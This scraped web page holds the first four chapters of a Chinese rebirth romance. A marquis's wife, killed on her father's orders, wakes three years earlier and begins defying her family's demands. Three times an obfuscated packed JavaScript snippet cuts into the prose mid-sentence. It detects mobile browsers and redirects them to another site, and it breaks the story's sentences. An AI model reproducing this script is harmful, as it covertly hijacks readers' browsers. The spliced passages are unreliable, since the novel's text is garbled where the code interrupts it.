《侯夫人重生日常》 1. 第 1 章 深秋时节,窗外飘了雨,雨水淅淅沥沥,洒进了屋内。 雕花的廊下站着一个年轻的妇人,身着一袭素衣,脸上没搽一丝脂粉,打扮得十分素净,但却难掩她姣好的容貌。 身形窈窕,琼鼻樱唇,眉如细柳,如同画里走出来的人物。 此刻她眸子里没有一丝光彩,整个人像是丢了魂魄一般。雨水溅在她的身上,素色的衣裳深了几块,脸颊上也沾了几缕青丝。 邵婉淑一向是最讲究的,人前人后都维持着端庄体面。可此刻她却一动未动,对沾湿的衣裳和凌乱的头发视而不见。 她是定南侯夫人。一个月前,前线传来消息,自己的丈夫定南侯裴行舟死在了战场上。很快,一个大着肚子的女人找上了门,自称肚子里怀了丈夫的孩子。作为京城里有名的贤妻,邵婉淑理应认下这个孩子。可在见到那女子的一刻,心底却像是突然落入了一颗石子,泛起了涟漪,翻腾着恶心。 裴家族里的众人在此时登了门。他们拿着礼法规矩,让其将女人肚子里的孩子认下。一向听从长辈之言的她没有立即答应下来,事情就这样搁置了。过了不久,娘家的母亲也上门劝她认了这个孩子,下半辈子好有个依靠,她依旧没有认下。 京城里流言四起,或嘲笑她得了个庶长子,或说她不体面,甚至说她克夫。 就这样传了数十日,娘家人再次来访,这次传来的是父亲的消息。邵婉淑本以为抓住了最后一根救命稻草,结果却得到了一条白绫。父亲让人告诉她,若是不愿认下孩子,那就为定南侯殉葬,以全邵家书香人家之名,得一个贞节牌坊,惠及后代。 明明大家从前都是客客气气,和和美美的,为何丈夫去世后都变得面目狰狞。 一阵冷风袭来,邵婉淑却像是感觉不到一般,呆呆地看着院子里的枯树。 婚前,她一切都听父亲的。每日晨起读书,学习德容言功,从不懈怠。适婚之年,她被赐婚给定南侯。婚后,天不亮她便早起,服侍丈夫,孝敬婆母。在内打理侯府的事宜,在外维系侯府跟各个府之间的关系。她是京城人人称赞的贵妇。 她每一步都规规矩矩,从未行差踏错。她原以为自己会体面一辈子,没想到却得了这样一个结局。一向不近女色的丈夫不知何时有了别的女人,还让那个女人有了身孕,打了她这个正妻的脸。至于她最依赖的娘家,更是令人心寒,父亲不想让她继续活下去,逼着她为丈夫殉葬。 她一向循规蹈矩,不明白自己究竟做错了什么,为何命运要这般玩弄于她。 这时,一阵风吹过,又冷了几分。 阿梨:“夫人,您衣裳打湿了,咱们回屋去吧。” 邵婉淑没有立时回答,过了片刻,轻轻嗯了一声,转身回了屋里。屋外夜色如墨,桌上的白绫明晃晃的,格外刺眼。她只瞥了一眼就收回了目光。 屋里很快熄了灯,邵婉淑躺下了,黑暗将她彻底淹没。 她说不清自己此刻到底是什么感受,丈夫的死讯已经传来一个月了。婆母形容枯槁,哭晕了数次。侯府众人或真情或假意,全都落泪多次。唯独她,在看到那个大着肚子的女人出现时,一滴眼泪也不曾流下,冷眼旁观着这一切。成亲三年,她和丈夫相敬如宾。人前他给她侯夫人的尊重,人后二人也从未有过任何的争吵,彼此之间像是最熟悉的陌生人。 可他毕竟是她的丈夫,如今他死了,她便真的是孤身一人了。 作为一个从小学习礼法最守规矩的人,她知道自己是正妻,应该认下那个女人肚子里的孩子,抚养他长大。她也明白,为了家族的利益,她应该主动殉葬,全了邵家的好名声。 可…… 就是不甘心。 她不想认下那个“庶长子”,也不想自尽。她想活着,想体面的活着。活着已经很难了,体面的活着更是难上加难。要么认下那个女人肚子里的孩子,要么一条白绫去死,她再无别的选择。 屋外狂风骤雨,屋里越发冷了。 邵婉淑正欲睡着之际,脖子骤然被人勒住了,一股强烈的窒息感袭来。她猛然间惊醒,拼命挣扎。然而那人的力气却大得出奇,无论如何都挣脱不开。 邵婉淑眼角瞥到了那条白绫。原来,身后之人用白绫勒的她。 父亲就这么想让她死吗? 渐渐地,邵婉淑没了力气,呼吸也越来越微弱。她闭上了眼,一行清泪从眼角滑落。 “啪!” 邵婉淑耳朵嗡嗡的响,一阵耳鸣袭来,脸颊上传来火辣辣的疼。她有些站不稳,朝着一旁倒去。 阿梨连忙上前扶住了她。 邵婉淑缓了缓,睁开了双眼,看向眼前的阿梨,眼底有几分迷茫。她不是被人勒死了么,这是在哪里,阎王殿吗? “为父白养你那么多年了,这点小事都做不好,你还能干什么?”一道刺耳的声音在屋里响了起来。 邵婉淑心一沉,扶着阿梨的手站稳,抬眸看向了面前的中年男人。这是她的父亲,将她带到人世的父亲,也是用一条白绫令她丧命的父亲。往日有些严肃的父亲此刻面色显得有几分狰狞,想到方才窒息濒死的感觉,身体忍不住颤抖了一下,但眼睛却一动不动地盯着他。 邵侍郎:“为父从小就让人教你读书,教你礼仪。你是侯夫人,管家的事情本就应该是你的,你怎么就拿不回来呢?你知不知道外面怎么笑话你母亲的?说你母亲无能不会教女儿,教的女儿是个花架子,连管家的事情都做不好。你就不能规规矩矩的别给家里丢脸吗?” 邵婉淑眼底多了一丝疑惑。 管家?这一幕怎么这么熟悉。长大后她只挨过一巴掌,那就是在她成亲三个月回家的时候。那时候因为自己没能拿回来侯府的管家权,外面便传了些风言风语,说邵家教的女儿无能,不会管家。父亲很是愤怒,把她叫了回来,训斥了一番,还打了她一巴掌。 难道她不是死了,而是在做梦梦到了从前? 陆氏见丈夫态度软和下来,松了一口气,转头看向女儿。看着一向听话的女儿竟然木讷地站在原地没有反应,心里又有些着急。 “你父亲也是为你着想,你是定南侯夫人,管家名正言顺。如今让二房把持家里的内务,旁人都在笑话你,你父亲是怕你名声受损。你得明白为人父母的苦心。” 此刻再听一遍母亲这番话,邵婉淑突然觉得有些可笑。 为她着想……从前她的确是信了的,如今在经历了那么事情后她一个字也不信。父亲何时为她着想过,在他心里只有邵家,他甚至可以为了家族利益勒死她这个亲生女儿。 见女儿不答,邵侍郎怒意更盛。 “她要是真明白早就把管家权夺回来了,这都成亲三个月了还没能做成此事。这个不争气的东西,白白在她身上浪费了那么多年的时间,只会让家族蒙羞!” 女儿听话是听话,就是有些古板,不知变通。她去向老夫人要管家权,老夫人拒绝了她,她便遵循孝道不再提此事。明明她是侯夫人,侯府的女主人,管家理所应当,合情合理,丝毫不违孝道。 阿梨吓得哆嗦了一下,紧张地看向了自家夫人。夫人一向听老爷的话,尤其是老爷发火的时候。今日怎么跟老爷倔了?赶紧答应下来吧,免得老爷还要打夫人。 邵侍郎看着女儿眼底的怒气,忍不住又抬起了胳膊,朝着女儿的脸挥去。 看着即将扇到自己脸上的巴掌,邵婉淑终于动了,她抬起纤细的手腕,握住了父亲的手腕。 屋内的众人皆是一惊。邵家最注重长幼尊卑,邵侍郎是家主,府里所有人都得听他的,不得反抗,大姑娘竟然敢反抗老爷。 邵侍郎的脸色比方才还要阴沉了些。 邵婉淑心里也十分惊讶,刚刚见父亲的手挥过来时,她下意识挡了一下。原以为自己是在梦中,挡不住的,没想到竟然真的拦住了。可她不是在做梦么?为何这个梦如此真实,她竟然能感受到父亲手腕上的力道。她是畏惧父亲的,这么多年的打压,导致她看到父亲不悦的神情就害怕的哆嗦。 然而,看着父亲这张脸,她想到了昨晚被白绫勒住的窒息感。她不知哪里来的勇气和力气,双手死死握住了父亲的手腕。 邵侍郎脸色彻底沉了下来,他咬牙道:“你敢忤逆我?” 邵婉淑毕竟是女子,力气不及邵侍郎,察觉到邵侍郎用力了,她克制住内心的恐惧,用尽量平静的语气道:“父亲,女儿如今是定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929600|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南侯夫人,您若再打下去被定南侯府的人看到了可就不好解释了。” 邵侍郎看着女儿脸上的巴掌印,虽然心里仍旧愤怒,但也知此事不妥,手腕上的力道卸去了一些。他突然觉得一向听话的女儿在此刻有些不受控了。 “你在威胁我?你这是瞧着成了侯夫人了就敢跟家里对着干了?” 邵婉淑垂眸:“女儿不敢。” 这时,王管家进来了,在邵侍郎耳边低语了几句。 邵侍郎点了点头,整理了一下衣裳,看着面前的女儿道:“为父今日还有重要的公务要处理,就先不同你说了。今日我同你说的话你要放在心上,赶紧把管家权拿回来,免得邵家被你连累。” 说完,同邵侍郎和王管家一起离开了内宅。 看着父亲匆匆离去的身影,邵婉淑垂眸掩盖住内心复杂的情绪。 天色不早,邵婉淑回了侯府。 离开前,陆氏递给女儿一瓶药膏。 “你爹也不是故意打你的,你知道的,他最疼你了,平日里舍不得碰你一下。你弟弟都被他打了那么多回,他可是很少打你的。今日他也是怕你被人嘲笑,为了你的名声着想才打了你。这是消肿的药膏,你赶紧用上吧,免得明日被人笑话。” 爹娘一直如此,一个骂她,一个哄她。若是母亲没有在莲娘上门时让她认下她肚子里的孩子,若是父亲没有在定南侯去世后逼她殉葬,或许她还会信了爹娘的话,如今她只觉得这些话颇为讽刺可笑。爹娘口口声声说为她着想,事实上他们在乎的从来都不是她,他们在乎的只有邵家的名声。 邵婉淑沉默地接过了药膏,朝着陆氏福了福身,转身上了马车。全然不似从前那般母女情深,依依惜别。 陆氏见女儿没有说感激的话,微微蹙眉,想到方才女儿在厅堂的举动,心思沉了沉。 马车很快驶离了侍郎府。先是行过一段长长的安静的巷子,接着便驶向繁华的街道。 货郎的叫卖声,小孩子的嬉笑声,哒哒的马蹄声……全都传入了耳中。 邵婉淑掀开车帘的一角看向外面。夜幕已经降临,街市上熙熙攘攘,行人如织。街道两侧小摊贩在卖首饰,招呼着路过的行人;不远处杂耍的人在喷火,演到精彩处一只小猴子拿着盘子向围观的人讨要赏钱。 这一切都真实到可怕。 这真的只是个梦吗?邵婉淑再次怀疑。 “夫人,您没戴帷帽,会被人看到的,快合上帘子吧。”阿梨在一旁小声提醒。 邵婉淑的目光落在了路边牵着手的年轻男女身上,合上了帘子。她是侍郎府的嫡女,是大家闺秀,所以每次出门都要裹得严严实实的。可如今,大街上不仅有女子抛头露面,甚至年轻男女也会牵手。她不喜裹那么严实,她也想旁人一样自由自在的。可爹娘却教育她,小门小户才会如此,她身份尊贵,要讲规矩礼仪。如今瞧着,和他们相比,她这个大家闺秀委实迂腐了些。 不多时,马车回到了定南侯府中。 天色早已暗了下来,一路上,没有人注意到邵婉淑红起来的脸。 直到回到了韶华院中,阿桔瞧着邵婉淑的脸,惊呼一声:“夫人,您的脸怎么了?” 邵婉淑没答。 一旁的阿梨冲着阿桔摇了摇头,示意她别再多问。 阿桔连忙闭了嘴。 邵婉淑换下衣裳,坐在了榻上。 阿桔上了一壶热茶,为邵婉淑倒了一杯。 邵婉淑双手捧起了茶,热气氤氲,手暖和了些。她看了一眼暖红的手,眼里的疑惑更盛。这个梦真实到像是实实在在发生的。 就在这时,阿梅从外面进来了,她看一眼邵婉淑的脸,道:“夫人,前院的人传信,说侯爷朝着咱们院子过来了,您今晚要见他吗?” 侯爷…… 她的丈夫,定南侯。 邵婉淑眼眸微动。自从定南侯去前线打仗,到现在已经有一年的时间了,她已经有一年没见过他了,再听到他的消息时就是他的死讯。她记得三年前的这天定南侯也来了,但那时她脸上有巴掌印,所以并没有见他。 如果眼下真的是梦的话,她真的会见到他吗? “见。” 2. 第 2 章 众人皆感到一丝诧异。夫人平日里最注重自己的脸面和仪表,今日她被老爷打了,整个人都有些狼狈。按理说她应该不会见侯爷才是。 作为邵婉淑身边最贴心的大丫鬟,阿梨并没有说出来反驳的话,而是提出了相应的办法。 “奴婢为您擦些粉,遮一遮。” 邵婉淑却拒绝了:“不用了。” 遮不住的,能遮住的只是表面的伤口罢了,父亲对她的冷酷用再厚的脂粉也遮不住。况且,这不过是一场梦罢了,遮与不遮,又有什么区别。 阿梨没再动。 不多时,定南侯来到了韶华院中,院中的人全都朝着他行礼。 “见过侯爷。” 在一声声此起彼伏的行礼声中,裴行舟高大的身影出现在了邵婉淑面前。 裴行舟身着一袭玄色的衣袍,身姿挺拔。五官硬朗,剑眉星目,鼻梁高挺。面上没有任何神情,整个人看起来看起来十分冷峻,让人望之生畏。 在见到邵婉淑的那一刻,他的脸色似乎柔和了几分。 邵婉淑下意识站起来,想要朝着他走去。脚步刚刚一动,又停了下来。 既是梦,她不想那么累了。 犹豫的这一瞬,裴行舟已经来到了邵婉淑面前。 邵婉淑:“见过侯爷。” 裴行舟抬了抬手:“夫人不必多礼。” 说罢,他径直走到塌前,落座,邵婉淑也在他的对面坐下。 阿桔重新上了一壶茶,又退了出去。 裴行舟端起桌上的茶喝了一口,这才看向邵婉淑。刚要开口说些什么,眼睛注意到了邵婉淑的左脸,目光微微一沉。 “脸怎么弄的?” 邵婉淑微微侧头,避开了裴行舟探究的目光。 “没什么,不小心碰到的。” 裴行舟脸色沉了几分,但却没再多问。 接下来,两人谁都没再开口。裴行舟坐在榻上静静喝茶,邵婉淑时不时看向他。若在从前,邵婉淑是断然不敢这样大胆地看裴行舟的。 一开始她是有些怀念的,毕竟两人夫妻三年,她又许久没见丈夫了。而在丈夫去世后,她的天彻底塌了,任何人都能来踩她一脚。看着看着,她想到了丈夫死后发生的事情。她以为他们夫妇虽然感情不够深,但应当是有默契的。她为他操持侯府的事宜,让他没有后顾之忧。而他也应该给她体面,不会弄出来庶长子打她的脸。可事实却是他压根儿没考虑过她的感受。他让一个女人有了身孕,狠狠打了她的脸。 父亲想让她死,丈夫想让她颜面尽失,天底下的男子还真是薄情。 前院还有些公务未处理完,裴行舟本想坐一会儿就回去,见邵婉淑一直看他,此刻却是误会了她的意思。他们刚成亲三个月,最近几日太忙,他只是来后宅坐上片刻就离去了,一直没有留宿。 喝完一杯茶后,裴行舟沉声道:“安置吧。” 邵婉淑回过神来,裴行舟已经抬脚朝着里间走去。 不多时,二人去了床上。两人皆是平躺着,邵婉淑在里侧,裴行舟在外侧。两人既没有说话,也没有任何的举动,如同之前的许许多多个夜晚。 就在这时,裴行舟突然翻身覆了过来。 邵婉淑顿时一惊,睁大了双眼看向裴行舟。 裴行舟却不再像方才一样冷漠,没等邵婉淑反应过来,他的唇便重重落在她的唇上,手也在她的身上游走。 他在夜里一向如此,跟白日的他判若两人。 两人已经一年没有同房了,邵婉淑身体忍不住轻颤一下。 那吻又霸道地落在了她的脸上,她的眉眼,她的脖颈,带起了一阵阵的颤栗。 邵婉淑终于呼吸自由,恢复了力气,身体下意识想要靠近他。突然,她的眼前闪过那个大着肚子跪在她面前哭得梨花带雨的女人,心顿时一沉,抬手推了推裴行舟。 裴行舟却没什么反应,动作未停。 邵婉淑心里多了丝恼怒,手上也用了些力气。 裴行舟终于停了下来,一双眼沉沉地看向邵婉淑,似是不明白她为何如此。 邵婉淑木着一张脸,压住心里的恶心,道:“我身体不舒服。” 裴行舟眼神越发沉了,她的月事在半月前,今日却告诉他身子不舒服,这是在拒绝他?看来是他方才会错意了。罢了,成亲三月,无论何时她都板着一张脸,没什么反应,他也没什么兴致。 邵婉淑实在是扛不住裴行舟阴沉探究的目光,侧脸避开了。 裴行舟刚要翻身下去便看到了邵婉淑左侧的脸颊。虽然床幔遮住了外面的光,但裴行舟是习武之人,眼力极好,此刻二人又离得极近,他清楚地看到邵婉淑的脸不光有巴掌印,竟还肿了起来,比他刚刚在外间看到的还要严重些。 她方才说身体不舒服,应当是真的不舒服。 裴行舟的眼神瞬间柔和了几分,他抬手用粗粝的指腹轻轻抚过邵婉淑微微肿起来的脸颊,沉声问:“疼吗?” 若是以往,邵婉淑多半会遮掩过去,此刻“不疼”二字却有些说不出口了,因为她是真的很疼,尤其是被裴行舟的手指刮过之后就更疼了。 邵婉淑蹙了蹙眉,道:“别碰,疼。” 裴行舟没听出来邵婉淑语气里的嫌弃,看着她的脸,他的眼神骤然一暗,从肿起来的脸颊看,打她之人用的力道极大。 她虽是侍郎府的姑娘,但也是他的妻。打她,便是在他的脸。 裴行舟压住心里的怒意,问:“岳父同你说了什么?” 邵婉淑唇微微抿起,淡淡道:“没说什么。” 裴行舟眯了眯眼,盯着邵婉淑看了片刻,平躺回去。 两人都没再说话。 这一晚上发生了太多的事情了,邵婉淑脑子里乱得很,一会儿是王管家送来的白绫,一会儿是父亲打她时那张狰狞的脸,一会儿又是裴行舟阴沉的目光。想着想着,她竟渐渐睡着了。 听着身侧传来均匀的呼吸声,裴行舟蓦地睁开了眼,侧头看向了身侧之人,眼里满是探究之意。 这门亲事本就是政治联姻。贤贵妃一直希望他支持三皇子,见他无意,便将自己的侄女嫁了过来,试图拉近彼此的距离。成亲三个月,她虽有些小动作,但总体而言还算规矩。 这次回娘家,邵侍郎为何要打她,是交给她什么任务了吗? 盯着邵婉淑看了片刻,裴行舟收回了目光。 她既心里只想着娘家,不想说便罢了,前院还有许多公务要忙。 裴行舟掀开了被子准备下床。 就在这时,邵婉淑突然手脚并用地挣扎起来。 “不要,不要……” “救命,救命……” 睡梦中,邵婉淑突然变得不安。她又梦到昨晚那一幕了,那根白绫死死勒在自己脖子上,让她几乎无法呼吸。 裴行舟看着邵婉淑痛苦的样子,眉头紧紧皱了起来。但身体还是靠近了些,轻轻拍了拍她的肩,以示安抚。 邵婉淑像是抓住了一根救命稻草,死死握住了裴行舟的胳膊,嘴里依旧念叨着什么。 裴行舟性子冷,也甚少与人亲近,不知该如何安抚人。他僵了片刻,抬手将人圈入了怀中,宽大的手掌抚摸着怀中人的后背。耳朵凑近了邵婉淑的唇,想要听清楚她说了什么。 然而他只间或听到了“父亲”、“救命”,其余什么都没听清。 邵婉淑似乎在梦中得救了,情绪渐渐平稳下来,再次沉沉睡去。 裴行舟抽了抽胳膊,见抽不出来便作罢了。渐渐的,他也生出了一丝困意,没再离开,而是阖上了双眼。 卯时初刻,裴行舟醒了过来。低头看着怀中柔软的人,他掀开被子,轻手轻脚下了床,离开了主屋。 想起邵婉淑肿起来的脸颊,知道她好面子,不愿让人看她的笑话,裴行舟又多嘱咐了一句: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929601|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去祥和院说一声,夫人最近身子不适,这几日就不去给母亲请安了,也别让人来打扰夫人。” 青云:“是。” 在裴行舟离开主屋的那一瞬,正躺在床上睡觉的邵婉淑陡然睁开了眼,眼底一片清明。 从前,每次裴行舟宿在韶华院她都会起床服侍他,因此她睡觉并不沉。在裴行舟掀开被子下床的那一刻她就醒了,只是不知该如何面对这一切,所以便假装还在睡。 邵婉淑从床上坐了起来,打量了一下屋里的陈设。这一切都和昨晚一样,没有任何的改变。她几乎可以断定了,自己不是做了个梦,而是真的回到了三年前,刚和定南侯成亲三个月之际。 她是睡梦中被人勒死了,然后又被父亲打了一巴掌,回到了三年前。纵然听起来有些诡异,但事实显然就是如此。 就在这时,阿梨推门进来了。 见邵婉淑正坐在床上发呆,阿梨有些惊讶。她没瞧见夫人送侯爷,还以为夫人并没有醒过来。 “夫人,您醒了。” 邵婉淑:“嗯。” 阿梨将手中的瓷瓶递了过去:“这是侯爷给您准备的药膏,说是有消肿止痛的功效。” 邵婉淑打开瓷瓶闻了闻,这是伤药的味道。她虽然鲜少受伤,但定南侯身为武将偶尔会受伤,她曾在他身上闻到过这个味道。寻常的伤他并不会用这个药膏,有一次他受了重伤才用。她知道这药很是珍贵,没想到他竟会给她。 阿梨又道:“您不必着急去给老夫人请安,侯爷已经让人给您告过假了,说您身体不适,让您过几日再去给老夫人请安。” 邵婉淑微微颔首,这话她方才听到了。 端水进来的阿桔有些不满地接了一句:“夫人,侯爷这样安排是不是不想让您管家?” 阿桔的话勾起了邵婉淑的回忆。 前世,她也是这样想的。 父亲因为她没有拿到管家权打了她,她不想让裴行舟知道她在娘家挨了打,因此,当晚她将裴行舟拒之门外。第二日一早,为了完成父亲交给她的任务,她脸上敷了厚厚的脂粉,去了祥和院。她再次向婆母要管家权,婆母拒绝了她。 晚上,裴行舟来了韶华院,委婉地告诉她,让她过些日子再管家。 丈夫不站在自己这边,她十分失望。在丈夫和父亲之间,她左右为难,最终还是选择听从父亲的话。毕竟,当时的她觉得自己是侯夫人,理应管家,而丈夫又和自己不是一条心的。 当晚,裴行舟仍旧没有在内宅歇下,回了外院。 第二日,她又问婆母要了府里的管家权。如此问了三日后,侯府或许是怕闹到外面不好看,又不占理,最终管家的事落到了自己的手中。 等自己真的管家了,她方才知道侯府管家的事是个烂摊子,侯府账面上几乎没多少钱了。她贴补了自己的嫁妆,才勉强能维持住颜面。外人都夸她会持家,是个贤惠的。 她得了面子,却失了里子。 不仅贴补了嫁妆,也越来越忙了。因为管家一事,她和丈夫、婆母生了嫌隙,丈夫也越来越少来她的院中。 可最终,丈夫死了,这个家还是二房的。 她忙碌了数年,什么都没得到,竹篮打水一场空。 看着邵婉淑脸上怔忪的表情,阿梨提出了不同的看法:“奴婢觉得侯爷或许是知道夫人爱面子,怕府中其他人看到夫人脸上的伤,背后说您的不是。” 邵婉淑从回忆中抽离出来。 “关门谢客吧,伤好之前咱们不出院子了。” 阿桔有些担心:“管家的事怎么办,老爷那边怕是不好交代。” 听阿桔提起父亲,邵婉淑的脸瞬间沉了下来,眼底一片冰冷。即便她再孝顺,在被父亲弄死后也生不出丝毫的亲近之心。 “此事不急,过些日子再说吧。” 见邵婉淑脸色不好,阿梨和阿桔对视了一眼,两人不再提管家的事。 3. 第 3 章 吃过朝食,邵婉淑坐在榻上看向了窗外。她实在是不明白自己为何会有这样的奇遇,一睁开眼就回到了三年前的今日。究竟三年前的一切是个梦,还是眼下的一切是梦? 一只喜鹊突然落在了窗台上,叽叽喳喳叫了起来。 邵婉淑忍不住抬手摸一下,尚未触及到喜鹊,喜鹊便扑腾一声飞走了。 这一切都异常的真实。 又或许,她只是在被父亲打了之后做了一个长长的梦,从前都是梦,眼下才是真实的? 微风拂过脸颊,邵婉淑突然清醒了。何必纠结于前世今生,亦或者梦境现实,至少眼下的她比前世要好上许多。 这时,阿梨来到了屋里,道:“夫人,老夫人身边的李嬷嬷过来了。” 邵婉淑抽回了思绪,眼底流露出来一丝惊讶。前世,她因为管家的事和婆母闹翻了,后面二人又发生了许多不愉快的事情,婆母已经不再理会她了。不管她病得如何重,都不会让人探望她。 仔细想想又明白过来了,如今她刚嫁入府中三个月,管家的事也只在刚成亲三日时提了一回后面便没再提,此时她尚未和婆母发生任何的矛盾。 “让她进来吧。” 阿梨:“是。” 李嬷嬷很快就走了进来,她身后跟着个小丫鬟,手里提着一个食盒。 李嬷嬷朝着邵婉淑行礼:“老奴见过侯夫人。” 邵婉淑:“嬷嬷请起。” 站起身来后,李嬷嬷仔细打量着邵婉淑的脸色。她是奉老夫人的命来的。自打夫人嫁过来,每日都会去晨昏定省,风雨无阻,从未告过一日假。今日侯爷突然为夫人告假,老夫人有些怀疑,又有些担心。 邵婉淑此刻是侧着身半躺着,左侧的脸颊朝着里侧,陷在阴影里,李嬷嬷并未看到。 李嬷嬷见从面看不出来什么,有些疑惑,但她当下并未说什么,而是道:“老夫人得知夫人身子不适,让人炖了些汤,夫人趁热喝了吧。” 邵婉淑:“多谢母亲,等过两日我就去给母亲请安。” 李嬷嬷:“老夫人说让夫人不用着急,夫人先歇着,等身体好了再去见老夫人也不迟。” 等李嬷嬷走后,阿梨打开了食盒,里面竟然是一盆老母鸡汤。 邵婉淑顿时就明白了,婆母这是误会了。早上裴行舟让人去跟婆母告的假,婆母定是以为她昨晚累着了,这才让人炖了鸡汤。事实上,昨晚她和裴行舟之间什么都没发生。 阿梨:“鸡汤怎么办?” 邵婉淑刚吃过饭,看着飘着油花的鸡汤,实在喝不下。 “交给小厨房,中午喝吧。” 阿梨笑着应下了。夫人太瘦了,早就该好好补补了。 姜老夫人很快就听李嬷嬷说起韶华院的事情,心里也有些疑惑。既然不像是累着了,也不像是有病,儿媳为何突然告假? “你瞧着她心情如何?” 这个问题就有些为难李嬷嬷了,李嬷嬷斟酌道:“夫人平日里就不苟言笑,老奴实在是看不出来她的情绪。” 姜老夫人:“罢了,我也不多问了,总归她没什么病就好。” 她虽和儿媳不太投缘,但既然如今是一家人,自然希望她身体健康,一家人和和美美的。 等到了晚上,瞧着快到亥时了,侯爷没有要来的意思,而夫人也没有任何举动,阿梨提醒道:“夫人,今日还让人去前院送茶水和吃食吗?” 邵婉淑想起了自己前世做过的事情,她不仅要早起服侍裴行舟,每晚都会往前院送一些茶水和点心。在裴行舟上战场前,她每日都坚持做这些事,一直持续了两年的时间。裴行舟从来没拒绝过,也从未表示过对茶水和点心的喜欢。 前世她一直努力做好贤妻,可结果又如何呢? 重活一世,她不想那么累了。 “不去了,我乏了,安置吧。” 裴行舟是定南侯,整个侯府都是他的,他身边那么多人伺候着。他想喝什么,吃什么,自然有人为他送过去。 除了每月的初一和十五,若无要事,裴行舟几乎不回内宅。邵婉淑舒服地泡了澡,熄了灯,去床上睡了。她习惯性地去了里侧,这里是属于她的位置,外侧是裴行舟的。不管裴行舟晚上是否回韶华院,她都是如此做的。 躺了片刻后,她突然睁开眼,把枕头挪到了中间的位置,如此,感觉舒服多了。 以前她总觉得这一张床太大了,若是裴行舟不回来的话,床空得很。如今却觉得这床刚刚好,想往那边翻身都可以,不必担心压到了裴行舟。 夜深了,裴行舟仍旧在前院处理公务。 他坐在檀木椅上,身着一袭玄色的衣袍,眼眸深邃似寒潭,唇微微抿着,修长的手指握着一支朱笔,却像是握着一把剑一般,直刺敌人的心脏。 批完手上的公文,他突然有些口渴,放下朱笔,端起桌上的茶喝了一口,眉心微微皱了起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929602|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 味道不对,浓了些。 “换茶叶了?”裴行舟低沉的嗓音在屋里响起。 青云没有立即回答,而是迟疑了片刻。今日的茶叶是府中准备的,侯爷多年来一直都是用的这个茶。夫人嫁过来之后,每晚都会给侯爷送茶。他记得侯爷嫌弃夫人的茶太淡了,并不喜欢。只是那茶是夫人送过来的,侯爷不好意思驳了夫人的面子,便坚持喝了。 可今日瞧着似乎不太对,侯爷并没有因为换成了原来的茶水而欣喜。 他斟酌了一下,回答道:“前些日子的茶是夫人准备的,今晚夫人没过来,这是府里之前准备的。” 裴行舟向来对茶没什么讲究,听完青云的解释,没再说什么,又继续处理公务了。 虽是如此说,往日每晚要用一壶茶的他,今日却只用了半杯,那喝剩的半杯茶一晚上都没再碰。 忙完公务,裴行舟下意识又端起了桌上的茶,等茶到了唇边,想到方才的味道,又放了回去,站起身朝着书房旁边的厢房走去。 青云:“夫人身边的人又来前院打探侯爷的行踪了。” 裴行舟脸色并无任何变化,显然这种事已经发生了很多次。 “知道了。” 不知是不是晚上的那口茶有些浓,裴行舟躺在床上一时没睡着。脑子里先是过了一遍朝堂之事,想着想着,突然浮现出邵婉淑的身影。 她是个再规矩不过的人,一向听岳父的话,昨晚岳父为何会打她。她昨晚拒绝了他,今晚又没有来送茶水,这些事是否和她在侍郎府发生的事情有关。岳父所吩咐之事与贤贵妃和三皇子有没有关系。 邵婉淑又做了那个梦,梦到自己被人勒住了脖子,整个人都有些窒息,呼吸不畅。她从噩梦中惊醒,猛然从床上坐了起来,大口大口喘着粗气。 她抬手摸了摸脖子,看了看四周。今日是十六,月华如水。瞧着屋内的陈设,她松了一口气,还好,她还在三年前,没有回去。只是个噩梦罢了。她又躺了回去,紧紧裹住了被子。 第二日一早,天还未亮,裴行舟早早醒了过来。不知是否因为昨晚睡前想到了邵婉淑,他竟破天荒地梦到了她,还是初见她的情形。他赤着上身在院子里练了一会儿剑,将心里莫名的躁动压了下去。出了一身汗,去沐浴了一番,这才穿戴整齐去上朝了。 临行前,裴行舟吩咐青云:“去查一下前日夫人在侍郎府发生了何事。” 青云:“是。” 4. 第 4 章 昨夜邵婉淑过了许久才迷迷糊糊又睡着了,这一觉睡到巳时才醒。醒来后,身体本是十分疲惫的,但听着窗外叽叽喳喳的鸟鸣,感觉轻松了许多。能自由呼吸的感觉真好,活着的感觉真好。 阿梨从外面进来了,她仔细看了看邵婉淑的脸,惊讶地道:“侯爷给的药真好,夫人的脸竟好了大半。” 邵婉淑摸了一下脸。若不触碰,她几乎感觉不到疼痛。 阿梨服侍着邵婉淑起床,压低声音道:“阿梅从前院寅虎那里打听到侯爷昨晚又是一个人在书房歇下的,并未让人服侍。” 